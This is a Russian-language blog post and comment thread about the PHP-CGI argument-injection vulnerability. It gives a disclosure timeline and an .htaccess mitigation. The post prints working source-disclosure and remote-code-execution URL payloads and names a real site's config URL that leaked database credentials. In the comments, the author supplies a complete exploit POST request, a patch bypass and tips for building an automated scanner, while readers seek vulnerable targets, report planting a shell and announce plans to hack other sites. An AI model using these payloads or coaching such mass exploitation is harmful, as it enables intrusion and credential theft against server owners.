Выполнение произвольного кода на серверах с PHP CGI

Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

13.01 – в ходе Nullcon HackIM CTF Eindbazen случайно находят 0day-уязвимость в PHP;
17.01 – Eindbazen отправляют баг-репорт разработчикам PHP;
03.05 – тикет в багтрекере PHP по непонятным причинам становится общедоступным, сведения об уязвимости появляются на reddit.com;
03.05 – в блоге Eindbazen появляется пост с PoC для просмотра исходного кода PHP-скрипта
04.05 – публикуется патч, “закрывающий” уязвимость
04.05 – тут же обнаруживается, что патч можно обойти; выпускается патч для патча, причем разработчики PHP не пишут, что нужно скачать новый патч. Все, кто скачал уязвимый патч думают, что уязвимость закрыта.
04.05 – в Metasploit появляется Remote Code Execution эксплоит.

Больше всего удивляют действия разработчиков PHP. В течение трех месяцев с момента багрепорта они так и не разработали решения устранения уязвимости, продолжая при этом выпускать новые версии PHP. О тикете, случайно ставшим публичным, думаю, вообще говорить нечего. Финал этой драматичной истории с выпуском патча на патч не кажется таким уж и непредсказуемым.

Просмотр исходного кода

[html]/index.php?-s[/html]

Выполнение произвольного кода из Metasploit

[html]/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
POST: phpinfo();[/html]

Уязвимость распространяется на все сервера, где PHP работает как CGI-модуль; сервера с FastCGI не подвержены. Уязвимыми оказались целые хостинги, например мой хостер agava.ru. Вчера на любом их сайте, включая и здесь, можно было выполнить любой код и не только. Например, обращение по http://blog.agava.ru/wp-config.php?-s любезно предоставляло данные для подключения к базе данных:

Что делать?

Решить проблему может выпущенный патч, хотя вполне вероятно, что в будущем найдется обход и для него. На Suhosin patch также не стоит полагаться, так как для его обхода достаточно лишь указать параметр -n, и PHP-скрипт выполнится без учета директив в php.ini. Самый простой способ защититься – использовать .htaccess со следующими правилами:
[html]RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? – [F,L][/html]


Posted

in

by

Comments

27 responses to “Выполнение произвольного кода на серверах с PHP CGI”

  1. Kuzya Avatar

    Жесть какая. Апокалипсис грядёт)
    Надеюсь с портами патчей не будут тянуть производители основных дистрибутивов типа Ubuntu, FreeBSD, Fedora Core.

  2. cat1vo Avatar
    cat1vo

    Теперь каждый школьник станет хакером! 🙂

  3. HighExceL Avatar

    Собственно вопрос очевидны. есть ли доорк под подобную вещь. да и вообще как можно найти уязвимые сервачки имея пучку урлов?

  4. Raz0r Avatar

    Дорка нет, каждый сервер нужно смотреть отдельно. Определить уязвимо или нет – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

  5. HighExceL Avatar

    Можно хоть один сервачек для примера?

  6. Raz0r Avatar

    Здесь я не буду выкладывать адреса, видел на античате постили ссылки.

  7. xxx Avatar

    Почему бага работает на серваках и с FastCGI ?

  8. Raz0r Avatar

    @xxx в FastCGI параметры через stdin вообще не передаются, по идее не должно работать

  9. stalker37 Avatar

    Мда, конечно… Сколько раз видел ситуации типа такой, столько же раз удивляюсь на производителей ПО: ну почему нельзя постараться исправить все как можно быстрее вместо того, чтобы тупить несколько месяцев и выпустить патч, который тоже нужно патчить.

  10. xxx Avatar

    @Raz0r,

    тем не менее, бага сработала – залил шелл, в phpinfo – fastCGI

  11. xbv Avatar
    xbv

    @Raz0r

    Какой запрос и вообще как это заюзать?

  12. xbv Avatar
    xbv

    – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

    плиз подробнее можно?

  13. Raz0r Avatar

    @xbv
    [html]
    POST /index.php?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dphp%3a%2f%2finput HTTP/1.1
    Host: site.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28
    Connection: close

    <?php system("uname -a"); ?>
    [/html]

  14. xbv Avatar
    xbv

    А чес посылать запрос удобнее всего?

  15. xbv Avatar
    xbv

    thank bro

  16. P1r0t3xn1k Avatar
    P1r0t3xn1k

    А каков % уязвимых сервачков в данный момент?

    Подумываю написать конвеер.

  17. Raz0r Avatar

    Уже поздно 🙂

  18. P1r0t3xn1k Avatar
    P1r0t3xn1k

    Всмысле все они пофикшены?

  19. Raz0r Avatar

    Не все конечно, но большая часть да.

  20. P1r0t3xn1k Avatar
    P1r0t3xn1k

    Можете дать пример уязвимого?

    Например с багой nginx (которая shell.gif/.php) досихпор встречаются сервера.

    Кстате, после первого патча был найден обход, а можно пример обхода?
    Тоесть там вообще 3 патча вышло вроде как.

  21. Raz0r Avatar

    >>Можете дать пример уязвимого?
    Здесь я не выкладываю ссылки на уязвимые сайты.

    >>а можно пример обхода?
    Для обхода нужно, чтобы в запросе присутствовало %3D
    /index.php?-s+%3D

    >>Тоесть там вообще 3 патча вышло вроде как.
    Да

  22. P1r0t3xn1k Avatar
    P1r0t3xn1k

    Тоесть /index.php?-s+%3D – универсально?

    Я имею ввиду что будет работать под не падченной системой, и под первым патчем одновременно? Или же прийдется делать 2 проверки?

  23. Raz0r Avatar

    По идее универсально, но если писать автомат, то нужно использовать второй вектор, а там %3D и так есть.

  24. P1r0t3xn1k Avatar
    P1r0t3xn1k

    Спасибо!

  25. AntonMK Avatar
    AntonMK

    Огромное спасибо теперь чужие фейки буду ломать

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.